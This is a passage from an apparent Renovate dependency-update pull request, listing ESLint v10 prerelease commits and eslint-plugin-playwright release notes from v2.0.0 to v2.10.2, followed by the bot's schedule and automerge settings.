- [`778aa2d`](https://github.com/eslint/eslint/commit/778aa2d83e1ef1e2bd1577ee976c5a43472a3dbe) docs: ignoring default file patterns ([#&#8203;20312](https://github.com/eslint/eslint/issues/20312)) (Tanuj Kanti)
- [`4b5dbcd`](https://github.com/eslint/eslint/commit/4b5dbcdae52c1c16293dc68028cab18ed2504841) docs: reorder v10 migration guide ([#&#8203;20315](https://github.com/eslint/eslint/issues/20315)) (Milos Djermanovic)
- [`5d84a73`](https://github.com/eslint/eslint/commit/5d84a7371d01ead1b274600c055fe49150d487f1) docs: Update README (GitHub Actions Bot)
- [`37c8863`](https://github.com/eslint/eslint/commit/37c8863088a2d7e845d019f68a329f53a3fe2c35) docs: fix incorrect anchor link in v10 migration guide ([#&#8203;20299](https://github.com/eslint/eslint/issues/20299)) (Pixel998)
- [`077ff02`](https://github.com/eslint/eslint/commit/077ff028b6ce036da091d2f7ed8c606c9d017468) docs: add migrate-to-10.0.0 doc ([#&#8203;20143](https://github.com/eslint/eslint/issues/20143)) (唯然)
- [`3822e1b`](https://github.com/eslint/eslint/commit/3822e1b768bb4a64b72b73b5657737a6ee5c8afe) docs: Update README (GitHub Actions Bot)

##### Build Related

- [`9f08712`](https://github.com/eslint/eslint/commit/9f0871236e90ec78bcdbfa352cc1363b4bae5596) Build: changelog update for 10.0.0-rc.2 (Jenkins)
- [`1e2c449`](https://github.com/eslint/eslint/commit/1e2c449701524b426022fde19144b1d22d8197b0) Build: changelog update for 10.0.0-rc.1 (Jenkins)
- [`c4c72a8`](https://github.com/eslint/eslint/commit/c4c72a8d996dda629e85e78a6ef5417242594b5d) Build: changelog update for 10.0.0-rc.0 (Jenkins)
- [`7e4daf9`](https://github.com/eslint/eslint/commit/7e4daf93d255ed343d68e999aad167bb20e5a96b) Build: changelog update for 10.0.0-beta.0 (Jenkins)
- [`a126a2a`](https://github.com/eslint/eslint/commit/a126a2ab136406017f2dac2d7632114e37e62dc2) build: add .scss files entry to knip ([#&#8203;20389](https://github.com/eslint/eslint/issues/20389)) (Francesco Trotta)
- [`f5c0193`](https://github.com/eslint/eslint/commit/f5c01932f69189b260646d60b28011c55870e65d) Build: changelog update for 10.0.0-alpha.1 (Jenkins)
- [`165326f`](https://github.com/eslint/eslint/commit/165326f0469dd6a9b33598a6fceb66336bb2deb5) Build: changelog update for 10.0.0-alpha.0 (Jenkins)

##### Chores

- [`1ece282`](https://github.com/eslint/eslint/commit/1ece282c2286b5dc187ece2a793dbd8798f20bd7) chore: ignore `/docs/v9.x` in link checker ([#&#8203;20452](https://github.com/eslint/eslint/issues/20452)) (Milos Djermanovic)
- [`034e139`](https://github.com/eslint/eslint/commit/034e1397446205e83eb341354605380195c88633) ci: add type integration test for `@html-eslint/eslint-plugin` ([#&#8203;20345](https://github.com/eslint/eslint/issues/20345)) (sethamus)
- [`f3fbc2f`](https://github.com/eslint/eslint/commit/f3fbc2f60cbe2c718364feb8c3fc0452c0df3c56) chore: set `@eslint/js` version to 10.0.0 to skip releasing it ([#&#8203;20466](https://github.com/eslint/eslint/issues/20466)) (Milos Djermanovic)
- [`afc0681`](https://github.com/eslint/eslint/commit/afc06817bbd0625c7b0a46bdc81c38dab0c99441) chore: remove scopeManager.addGlobals patch for typescript-eslint parser ([#&#8203;20461](https://github.com/eslint/eslint/issues/20461)) (fnx)
- [`3e5a173`](https://github.com/eslint/eslint/commit/3e5a173053fe0bb3d0f29aff12eb2c19ae21aa36) refactor: use types from `@eslint/plugin-kit` ([#&#8203;20435](https://github.com/eslint/eslint/issues/20435)) (Pixel998)
- [`11644b1`](https://github.com/eslint/eslint/commit/11644b1dc2bdf4c4f3a97901932e5f25c9f60775) ci: rename workflows ([#&#8203;20463](https://github.com/eslint/eslint/issues/20463)) (Milos Djermanovic)
- [`2d14173`](https://github.com/eslint/eslint/commit/2d14173729ae75fe562430dd5e37c457f44bc7ac) chore: fix typos in docs and comments ([#&#8203;20458](https://github.com/eslint/eslint/issues/20458)) (o-m12a)
- [`6742f92`](https://github.com/eslint/eslint/commit/6742f927ba6afb1bce6f64b9b072a1a11dbf53c4) test: add endLine/endColumn to invalid test case in no-alert ([#&#8203;20441](https://github.com/eslint/eslint/issues/20441)) (경하)
- [`3e22c82`](https://github.com/eslint/eslint/commit/3e22c82a87f44f7407ff75b17b26f1ceed3edd14) test: add missing location data to no-template-curly-in-string tests ([#&#8203;20440](https://github.com/eslint/eslint/issues/20440)) (Haeun Kim)
- [`b4b3127`](https://github.com/eslint/eslint/commit/b4b3127f8542c599ce2dea804b6582ebc40c993d) chore: package.json update for [@&#8203;eslint/js](https://github.com/eslint/js) release (Jenkins)
- [`f658419`](https://github.com/eslint/eslint/commit/f6584191cb5cabd62f6a197339a91e1f9b3f8432) refactor: remove `raw` parser option from JS language ([#&#8203;20416](https://github.com/eslint/eslint/issues/20416)) (Pixel998)
- [`2c3efb7`](https://github.com/eslint/eslint/commit/2c3efb728b294b74a240ec24c7be8137a31cf5f0) chore: remove `category` from type test fixtures ([#&#8203;20417](https://github.com/eslint/eslint/issues/20417)) (Pixel998)
- [`36193fd`](https://github.com/eslint/eslint/commit/36193fd9ad27764d8e4a24ce7c7bbeeaf5d4a6ba) chore: remove `category` from formatter test fixtures ([#&#8203;20418](https://github.com/eslint/eslint/issues/20418)) (Pixel998)
- [`e8d203b`](https://github.com/eslint/eslint/commit/e8d203b0d9f66e55841863f90d215fd83b7eee0f) chore: add JSX language tag validation to `check-rule-examples` ([#&#8203;20414](https://github.com/eslint/eslint/issues/20414)) (Pixel998)
- [`bc465a1`](https://github.com/eslint/eslint/commit/bc465a1e9d955b6e53a45d1b5da7c632dae77262) chore: pin dependencies ([#&#8203;20397](https://github.com/eslint/eslint/issues/20397)) (renovate\[bot])
- [`703f0f5`](https://github.com/eslint/eslint/commit/703f0f551daea28767e5a68a00e335928919a7ff) test: replace deprecated rules in `linter` tests ([#&#8203;20406](https://github.com/eslint/eslint/issues/20406)) (루밀LuMir)
- [`ba71baa`](https://github.com/eslint/eslint/commit/ba71baa87265888b582f314163df1d727441e2f1) test: enable `strict` mode in type tests ([#&#8203;20398](https://github.com/eslint/eslint/issues/20398)) (루밀LuMir)
- [`f9c4968`](https://github.com/eslint/eslint/commit/f9c49683a6d69ff0b5425803955fc226f7e05d76) refactor: remove `lib/linter/rules.js` ([#&#8203;20399](https://github.com/eslint/eslint/issues/20399)) (Francesco Trotta)
- [`6f1c48e`](https://github.com/eslint/eslint/commit/6f1c48e5e7f8195f7796ea04e756841391ada927) chore: updates for v9.39.2 release (Jenkins)
- [`54bf0a3`](https://github.com/eslint/eslint/commit/54bf0a3646265060f5f22faef71ec840d630c701) ci: create package manager test ([#&#8203;20392](https://github.com/eslint/eslint/issues/20392)) (루밀LuMir)
- [`3115021`](https://github.com/eslint/eslint/commit/3115021439490d1ed12da5804902ebbf8a5e574b) refactor: simplify JSDoc comment detection logic ([#&#8203;20360](https://github.com/eslint/eslint/issues/20360)) (Pixel998)
- [`4345b17`](https://github.com/eslint/eslint/commit/4345b172a81e1394579ec09df51ba460b956c3b5) chore: update `@eslint-community/regexpp` to `4.12.2` ([#&#8203;20366](https://github.com/eslint/eslint/issues/20366)) (루밀LuMir)
- [`772c9ee`](https://github.com/eslint/eslint/commit/772c9ee9b65b6ad0be3e46462a7f93c37578cfa8) chore: update dependency [@&#8203;eslint/eslintrc](https://github.com/eslint/eslintrc) to ^3.3.3 ([#&#8203;20359](https://github.com/eslint/eslint/issues/20359)) (renovate\[bot])
- [`0b14059`](https://github.com/eslint/eslint/commit/0b14059491d830a49b3577931f4f68fbcfce6be5) chore: package.json update for [@&#8203;eslint/js](https://github.com/eslint/js) release (Jenkins)
- [`d6e7bf3`](https://github.com/eslint/eslint/commit/d6e7bf3064be01d159d6856e3718672c6a97a8e1) ci: bump actions/checkout from 5 to 6 ([#&#8203;20350](https://github.com/eslint/eslint/issues/20350)) (dependabot\[bot])
- [`139d456`](https://github.com/eslint/eslint/commit/139d4567d4afe3f1e1cdae21769d5e868f90ef0d) chore: require mandatory headers in rule docs ([#&#8203;20347](https://github.com/eslint/eslint/issues/20347)) (Milos Djermanovic)
- [`3b0289c`](https://github.com/eslint/eslint/commit/3b0289c7b605b2d94fe2d0c347d07eea4b6ba1d4) chore: remove unused `.eslintignore` and test fixtures ([#&#8203;20316](https://github.com/eslint/eslint/issues/20316)) (Pixel998)
- [`a463e7b`](https://github.com/eslint/eslint/commit/a463e7bea0d18af55e5557e33691e4b0685d9523) chore: update dependency js-yaml to v4 \[security] ([#&#8203;20319](https://github.com/eslint/eslint/issues/20319)) (renovate\[bot])
- [`ebfe905`](https://github.com/eslint/eslint/commit/ebfe90533d07a7020a5c63b93763fe537120f61f) chore: remove redundant rules from eslint-config-eslint ([#&#8203;20327](https://github.com/eslint/eslint/issues/20327)) (Milos Djermanovic)
- [`88dfdb2`](https://github.com/eslint/eslint/commit/88dfdb23ee541de4e9c3aa5d8a152c5980f6cc3f) test: add regression tests for message placeholder interpolation ([#&#8203;20318](https://github.com/eslint/eslint/issues/20318)) (fnx)
- [`6ed0f75`](https://github.com/eslint/eslint/commit/6ed0f758ff460b7a182c8d16b0487ae707e43cc9) chore: skip type checking in `eslint-config-eslint` ([#&#8203;20323](https://github.com/eslint/eslint/issues/20323)) (Francesco Trotta)
- [`1e2cad5`](https://github.com/eslint/eslint/commit/1e2cad5f6fa47ed6ed89d2a29798dda926d50990) chore: package.json update for [@&#8203;eslint/js](https://github.com/eslint/js) release (Jenkins)
- [`9da2679`](https://github.com/eslint/eslint/commit/9da26798483270a2c3c490c41cbd8f0c28edf75a) chore: update `@eslint/*` dependencies ([#&#8203;20321](https://github.com/eslint/eslint/issues/20321)) (Milos Djermanovic)
- [`0439794`](https://github.com/eslint/eslint/commit/043979418161e1c17becef31b1dd5c6e1b031e98) refactor: use types from [@&#8203;eslint/core](https://github.com/eslint/core) ([#&#8203;20235](https://github.com/eslint/eslint/issues/20235)) (jaymarvelz)
- [`cb51ec2`](https://github.com/eslint/eslint/commit/cb51ec2d6d3b729bf02a5e6b58b236578c6cce42) test: cleanup `SourceCode#traverse` tests ([#&#8203;20289](https://github.com/eslint/eslint/issues/20289)) (Milos Djermanovic)
- [`897a347`](https://github.com/eslint/eslint/commit/897a3471d6da073c1a179fa84f7a3fe72973ec45) chore: remove restriction for `type` in rule tests ([#&#8203;20305](https://github.com/eslint/eslint/issues/20305)) (Pixel998)
- [`d972098`](https://github.com/eslint/eslint/commit/d9720988579734da7323fbacca4c67058651d6ff) chore: ignore prettier updates in renovate to keep in sync with trunk ([#&#8203;20304](https://github.com/eslint/eslint/issues/20304)) (Pixel998)
- [`a086359`](https://github.com/eslint/eslint/commit/a0863593872fe01b5dd0e04c682450c26ae40ac8) chore: remove redundant `fast-glob` dev-dependency ([#&#8203;20301](https://github.com/eslint/eslint/issues/20301)) (루밀LuMir)
- [`564b302`](https://github.com/eslint/eslint/commit/564b30215c3c1aba47bc29f948f11db5c824cacd) chore: install `prettier` as a dev dependency ([#&#8203;20302](https://github.com/eslint/eslint/issues/20302)) (michael faith)
- [`8257b57`](https://github.com/eslint/eslint/commit/8257b5729d6a26f88b079aa389df4ecea4451a80) refactor: correct regex for `eslint-plugin/report-message-format` ([#&#8203;20300](https://github.com/eslint/eslint/issues/20300)) (루밀LuMir)
- [`e251671`](https://github.com/eslint/eslint/commit/e2516713bc9ae62117da3f490d9cb6a9676f44fe) refactor: extract assertions in RuleTester ([#&#8203;20135](https://github.com/eslint/eslint/issues/20135)) (唯然)
- [`2e7f25e`](https://github.com/eslint/eslint/commit/2e7f25e18908e66d9bd1a4dc016709e39e19a24d) chore: add `legacy-peer-deps` to `.npmrc` ([#&#8203;20281](https://github.com/eslint/eslint/issues/20281)) (Milos Djermanovic)
- [`39c638a`](https://github.com/eslint/eslint/commit/39c638a9aeb7ddc353684d536bbf69d1d39380bd) chore: update eslint-config-eslint dependencies for v10 prereleases ([#&#8203;20278](https://github.com/eslint/eslint/issues/20278)) (Milos Djermanovic)
- [`8533b3f`](https://github.com/eslint/eslint/commit/8533b3fa281e6ecc481083ee83e9c34cae22f31c) chore: update dependency [@&#8203;eslint/json](https://github.com/eslint/json) to ^0.14.0 ([#&#8203;20288](https://github.com/eslint/eslint/issues/20288)) (renovate\[bot])
- [`796ddf6`](https://github.com/eslint/eslint/commit/796ddf6db5c8fe3e098aa3198128f8ce3c58f8e0) chore: update dependency [@&#8203;eslint/js](https://github.com/eslint/js) to ^9.39.1 ([#&#8203;20285](https://github.com/eslint/eslint/issues/20285)) (renovate\[bot])

</details>

<details>
<summary>mskelton/eslint-plugin-playwright (eslint-plugin-playwright)</summary>

### [`v2.10.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.2)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.1...v2.10.2)

##### Bug Fixes

- **missing-playwright-await:** Fix false positive when re-assigning awaited variable ([8cca0ac](https://github.com/mskelton/eslint-plugin-playwright/commit/8cca0ac362d9ddbce899195f1433f8d853efc3d0)), closes [#&#8203;456](https://github.com/mskelton/eslint-plugin-playwright/issues/456)
- **no-duplicate-hooks:** handle anonymous describe blocks in forEach loops ([8b4ec60](https://github.com/mskelton/eslint-plugin-playwright/commit/8b4ec601a0f801dc2a8701d66f12e28102ffc934)), closes [#&#8203;459](https://github.com/mskelton/eslint-plugin-playwright/issues/459)
- **valid-test-tags:** Support template literal strings ([d98a05c](https://github.com/mskelton/eslint-plugin-playwright/commit/d98a05cb51150bee283109e041e8e458f6d7bc5f)), closes [#&#8203;460](https://github.com/mskelton/eslint-plugin-playwright/issues/460)

### [`v2.10.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.0...v2.10.1)

##### Bug Fixes

- **missing-playwright-await:** Don't flag Array.fill as missing await ([cff9640](https://github.com/mskelton/eslint-plugin-playwright/commit/cff96403204e3cac83faf2d1768e3ded1378302d)), closes [#&#8203;450](https://github.com/mskelton/eslint-plugin-playwright/issues/450)
- Narrow page detection to prefer false positives ([10238e1](https://github.com/mskelton/eslint-plugin-playwright/commit/10238e173e42725a369db5ee7fb162b1ee99d790))

### [`v2.10.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.9.0...v2.10.0)

##### Bug Fixes

- **missing-playwright-await:** Fix false positive with `expect().resolves` ([352e15e](https://github.com/mskelton/eslint-plugin-playwright/commit/352e15e0e28cda5c7f7fbcd5bd6d01cf634aea3e)), closes [#&#8203;448](https://github.com/mskelton/eslint-plugin-playwright/issues/448)
- Support additional promise methods ([8646e62](https://github.com/mskelton/eslint-plugin-playwright/commit/8646e62527202cf11da6c00afc7f7e376d00773f)), closes [#&#8203;444](https://github.com/mskelton/eslint-plugin-playwright/issues/444)

##### Features

- **missing-playwright-await:** Add `includePageLocatorMethods` flag for checking more missing awaits ([#&#8203;438](https://github.com/mskelton/eslint-plugin-playwright/issues/438)) ([41921f8](https://github.com/mskelton/eslint-plugin-playwright/commit/41921f8509bfa90ccef91d86ed874408b60a7abb)), closes [#&#8203;159](https://github.com/mskelton/eslint-plugin-playwright/issues/159)
- **no-skipped-test:** Support `disallowFixme` to optionally disable `.fixme()` annotations ([6b42fdb](https://github.com/mskelton/eslint-plugin-playwright/commit/6b42fdb5cf74c6a98b7544e2931bd157cda88e51)), closes [#&#8203;446](https://github.com/mskelton/eslint-plugin-playwright/issues/446)

### [`v2.9.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.9.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.8.0...v2.9.0)

##### Bug Fixes

- **no-restricted-roles:** Catch all uses, not just on page methods ([1861fa5](https://github.com/mskelton/eslint-plugin-playwright/commit/1861fa57fd21b8d2d17cbd96238fdf5970277686))
- Support nested locators everywhere ([0e48186](https://github.com/mskelton/eslint-plugin-playwright/commit/0e48186885a8868d3163cdd2d2732c3f227056ab))

##### Features

- **no-duplicate-hooks:** Mark as recommended ([fe3ca54](https://github.com/mskelton/eslint-plugin-playwright/commit/fe3ca54178cde017388aa5d844553a9b7a9d1307))
- **no-duplicate-slow:** Mark as recommended ([2f0b67d](https://github.com/mskelton/eslint-plugin-playwright/commit/2f0b67d841dd8f091f7c8ab44a6eadb34255127b))
- **prefer-hooks-in-order:** Mark as recommended ([e8ae16e](https://github.com/mskelton/eslint-plugin-playwright/commit/e8ae16ef219ce943749b194fc972b27a0162e8cb))
- **prefer-hooks-on-top:** Mark as recommended ([5ab9296](https://github.com/mskelton/eslint-plugin-playwright/commit/5ab929677dea5263b69e2fe44a43cf711b1bbb16))
- **prefer-locator:** Mark as recommended ([fcab221](https://github.com/mskelton/eslint-plugin-playwright/commit/fcab221c092c290c8b2b851b669ea0b1774ec75c))
- **prefer-to-have-count:** Mark as recommended ([fcbf086](https://github.com/mskelton/eslint-plugin-playwright/commit/fcbf086ae637cf569530856e7690b6da85a5c5fe))
- **prefer-to-have-length:** Mark as recommended ([c6c923e](https://github.com/mskelton/eslint-plugin-playwright/commit/c6c923e6b382c1bee4de89e2cf9781511a37e7a0))

### [`v2.8.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.8.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.1...v2.8.0)

##### Bug Fixes

- Add missing test coverage and fix several minor bugs ([#&#8203;434](https://github.com/mskelton/eslint-plugin-playwright/issues/434)) ([e3398ec](https://github.com/mskelton/eslint-plugin-playwright/commit/e3398ec61da52de205e7c9af2896633357769f74))
- **missing-playwright-await:** Handle spread elements ([df30163](https://github.com/mskelton/eslint-plugin-playwright/commit/df3016323819f7bc335fd1841971dccc2ae64f51)), closes [#&#8203;430](https://github.com/mskelton/eslint-plugin-playwright/issues/430)
- **missing-playwright-await:** Support more promise edge cases ([b4cdcbd](https://github.com/mskelton/eslint-plugin-playwright/commit/b4cdcbd010a2b4dfc7ee14ab5bdc655897389f19))

##### Features

- Auto-detect `test.extend()` fixtures and import aliases ([#&#8203;432](https://github.com/mskelton/eslint-plugin-playwright/issues/432)) ([8b22ee7](https://github.com/mskelton/eslint-plugin-playwright/commit/8b22ee7b1f7823d81bafda82e240dd51106726dd))

### [`v2.7.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.0...v2.7.1)

##### Bug Fixes

- **missing-playwirght-await:** Fix false positive with promise chains ([6e4f5ff](https://github.com/mskelton/eslint-plugin-playwright/commit/6e4f5ff4876c4e92542e7fde20ec5314d4b36ba5))

### [`v2.7.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.1...v2.7.0)

##### Features

- Support ESLint 10 ([aa5315b](https://github.com/mskelton/eslint-plugin-playwright/commit/aa5315b70cd2481d3093d27435d1938585e1de9a)), closes [#&#8203;424](https://github.com/mskelton/eslint-plugin-playwright/issues/424)

### [`v2.6.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.0...v2.6.1)

##### Bug Fixes

- Exclude `@typescript-eslint/utils` from the bundle ([6547702](https://github.com/mskelton/eslint-plugin-playwright/commit/6547702acf8b09736f36d79a2daec0219b930986)), closes [#&#8203;425](https://github.com/mskelton/eslint-plugin-playwright/issues/425)

### [`v2.6.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.1...v2.6.0)

##### Bug Fixes

- **docs:** consistent-spacing-between-blocks name ([#&#8203;421](https://github.com/mskelton/eslint-plugin-playwright/issues/421)) ([f2306ed](https://github.com/mskelton/eslint-plugin-playwright/commit/f2306ed279a1434beef3f5eca83ce384b848dce4))
- **valid-title:** Ignore variables we can't statically determine ([1597555](https://github.com/mskelton/eslint-plugin-playwright/commit/15975557f1e6a792a6e0ae843ae5c98496ae8f91)), closes [#&#8203;368](https://github.com/mskelton/eslint-plugin-playwright/issues/368)

##### Features

- Add `no-duplicate-slow` rule ([dac9495](https://github.com/mskelton/eslint-plugin-playwright/commit/dac94950502698708f7e001f54fa7c505c20dafc)), closes [#&#8203;418](https://github.com/mskelton/eslint-plugin-playwright/issues/418)
- Add `no-restricted-roles` rule ([#&#8203;422](https://github.com/mskelton/eslint-plugin-playwright/issues/422)) ([91817bf](https://github.com/mskelton/eslint-plugin-playwright/commit/91817bf63fb6b764af6e85f4968eff7165ae52a3))
- Add `require-to-pass-timeout` rule ([e620e87](https://github.com/mskelton/eslint-plugin-playwright/commit/e620e87ccf3e585a99acb500c4c635e8d1320cf8)), closes [#&#8203;345](https://github.com/mskelton/eslint-plugin-playwright/issues/345)
- Add require-tags rule ([c83b13a](https://github.com/mskelton/eslint-plugin-playwright/commit/c83b13ab08cd4631129a28a44b7f1ea29b17585b)), closes [#&#8203;401](https://github.com/mskelton/eslint-plugin-playwright/issues/401)
- **missing-playwright-await:** Add support for waitForResponse and other similar functions ([960be8a](https://github.com/mskelton/eslint-plugin-playwright/commit/960be8a5a7418f42a9485f8e00e71a6729c46f70)), closes [#&#8203;199](https://github.com/mskelton/eslint-plugin-playwright/issues/199)

### [`v2.5.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.0...v2.5.1)

##### Bug Fixes

- **no-conditional-in-test:** Fix false positive for `||` ([611657c](https://github.com/mskelton/eslint-plugin-playwright/commit/611657c3cb5b932c9f261c297c4ab01d1fed4a6c))

### [`v2.5.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.1...v2.5.0)

##### Bug Fixes

- Fix lint ([4e8461d](https://github.com/mskelton/eslint-plugin-playwright/commit/4e8461dc5b73018d706782c729fbcce67347b7f6))
- Fix TypeScript types ([af7d870](https://github.com/mskelton/eslint-plugin-playwright/commit/af7d8702121f58eb5974b81a514470542162823c))

##### Features

- Add `enforce-consistent-spacing-between-blocks` rule ([#&#8203;411](https://github.com/mskelton/eslint-plugin-playwright/issues/411)) ([a9b78d5](https://github.com/mskelton/eslint-plugin-playwright/commit/a9b78d5d0c7a7c051d9bee85a584ca483dd22777))
- Add no-restricted-locators rule ([a65200b](https://github.com/mskelton/eslint-plugin-playwright/commit/a65200b1773b49ccafbd9a9b8a81e4e9f700bd67)), closes [#&#8203;407](https://github.com/mskelton/eslint-plugin-playwright/issues/407)
- **prefer-web-first-assertions:** Support `allInnerTexts()` and `allTextContents()` ([36917a8](https://github.com/mskelton/eslint-plugin-playwright/commit/36917a86fb7e4ef49837e7657a8363d55f06e461)), closes [#&#8203;362](https://github.com/mskelton/eslint-plugin-playwright/issues/362)

### [`v2.4.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.0...v2.4.1)

##### Bug Fixes

- **no-conditional-in-test:** allow nullish coalescing operator ([2c25b4f](https://github.com/mskelton/eslint-plugin-playwright/commit/2c25b4fe3b7d487a8cc06c43a1bf91fea3f3c7ea)), closes [#&#8203;406](https://github.com/mskelton/eslint-plugin-playwright/issues/406)

### [`v2.4.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.3.0...v2.4.0)

##### Bug Fixes

- **missing-playwright-await:** prevent infinite recursion in checkValidity ([9ce346d](https://github.com/playwright-community/eslint-plugin-playwright/commit/9ce346ddde659050714bbe770363e3cbe1361c9c))

##### Features

- **expect-expect:** Support regex patterns ([#&#8203;390](https://github.com/playwright-community/eslint-plugin-playwright/issues/390)) ([fdd0253](https://github.com/playwright-community/eslint-plugin-playwright/commit/fdd025339b68173cb5aec57f83c8bc9792388be1))

### [`v2.3.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.3.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.2...v2.3.0)

##### Bug Fixes

- Check for test tags in titles ([377238c](https://github.com/playwright-community/eslint-plugin-playwright/commit/377238ccdecb88c8fd62abbb8dd8e89d8397236b)), closes [#&#8203;392](https://github.com/playwright-community/eslint-plugin-playwright/issues/392)

##### Features

- Add no-unused-locators rule ([#&#8203;396](https://github.com/playwright-community/eslint-plugin-playwright/issues/396)) ([c0937d7](https://github.com/playwright-community/eslint-plugin-playwright/commit/c0937d72d2f102fd7531c86fb135256293e9be85))

### [`v2.2.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.2)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.1...v2.2.2)

##### Bug Fixes

- **prefer-web-first-assertions:** Fix false positive ([#&#8203;384](https://github.com/playwright-community/eslint-plugin-playwright/issues/384)) ([38a559e](https://github.com/playwright-community/eslint-plugin-playwright/commit/38a559e69978c19206d4a7a032f8fb4227306a11))
- **valid-test-tags:** disallow extra properties in rule options and add to recommended ([#&#8203;381](https://github.com/playwright-community/eslint-plugin-playwright/issues/381)) ([4762bbd](https://github.com/playwright-community/eslint-plugin-playwright/commit/4762bbdc13a5832266538b6fbcace391cc3aadfd))

### [`v2.2.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.0...v2.2.1)

##### Features

- Support addInitScript in no-unsafe-references
- Add toContainClass method
- Add valid-test-tags rule
- Add no-wait-for-navigation rule

##### Bug Fixes

- clean published package.json ([#&#8203;371](https://github.com/playwright-community/eslint-plugin-playwright/issues/371)) ([b8401e5](https://github.com/playwright-community/eslint-plugin-playwright/commit/b8401e51669c251ae31b4cdc610bdc4a0b3e9aba)), closes [#&#8203;360](https://github.com/playwright-community/eslint-plugin-playwright/issues/360)
- no-conditional-in-test does not trigger for conditionals in test metadata (fixes [#&#8203;363](https://github.com/playwright-community/eslint-plugin-playwright/issues/363)) ([#&#8203;372](https://github.com/playwright-community/eslint-plugin-playwright/issues/372)) ([12b0832](https://github.com/playwright-community/eslint-plugin-playwright/commit/12b083248e50f6e23e95f7d3fbc6034672e87ba7))
- Remove no-slowed-test from recommended list ([#&#8203;348](https://github.com/playwright-community/eslint-plugin-playwright/issues/348)) ([6baec3a](https://github.com/playwright-community/eslint-plugin-playwright/commit/6baec3ac2861b6cd2c8fcb83c61d00b4e3c82128))
- Support non-awaited expressions in prefer-web-first-assertions
- Allow valid locators declared as variables
- Fix false positive when using allowConditional

### [`v2.2.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.1.0...v2.2.0)

##### Features

- Add `no-slowed-test` rule ([#&#8203;302](https://github.com/playwright-community/eslint-plugin-playwright/issues/302)) ([53df693](https://github.com/playwright-community/eslint-plugin-playwright/commit/53df693a1c9348205d453c1b791adf4f60242f0d)), closes [#&#8203;296](https://github.com/playwright-community/eslint-plugin-playwright/issues/296)
- Add support for Playwright 1.50 ([#&#8203;347](https://github.com/playwright-community/eslint-plugin-playwright/issues/347)) ([956fe62](https://github.com/playwright-community/eslint-plugin-playwright/commit/956fe626c06bd12f57a1ed6fa009421bb0ce296a))

##### Bug Fixes

- **expect-expert:** report on test function identifier rather than body ([#&#8203;337](https://github.com/playwright-community/eslint-plugin-playwright/issues/337)) ([35e37a1](https://github.com/playwright-community/eslint-plugin-playwright/commit/35e37a12fb0691f6e549b01621c75c9556121899))
- **prefer-comparison-matcher:** Fix typo in docs ([c269371](https://github.com/playwright-community/eslint-plugin-playwright/commit/c269371be2dbc4557dcd24c24e06b8db056f681a)), closes [#&#8203;343](https://github.com/playwright-community/eslint-plugin-playwright/issues/343)

### [`v2.1.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.1.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.1...v2.1.0)

##### Features

- Add `test.fail.only` as a valid chain ([c067ad2](https://github.com/playwright-community/eslint-plugin-playwright/commit/c067ad203fba4617a9e04ee610dc0ee3d1b40f04))

### [`v2.0.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.1)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.0...v2.0.1)

##### Bug Fixes

- Fix types for native TypeScript ESM ([4c61256](https://github.com/playwright-community/eslint-plugin-playwright/commit/4c61256978556570b4f528eb2ba932ebee110609))

### [`v2.0.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.0)

[Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v1.8.3...v2.0.0)

##### ⚠ BREAKING CHANGES

- Remove jest-playwright configs

##### Features

- Remove jest-playwright configs ([ba82509](https://github.com/playwright-community/eslint-plugin-playwright/commit/ba82509db582481df8805e310b797ac710c5e37b))

##### Bug Fixes

- Fix type exports ([f566df5](https://github.com/playwright-community/eslint-plugin-playwright/commit/f566df55f139a6ef37253cbda90f28889ed768f8))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

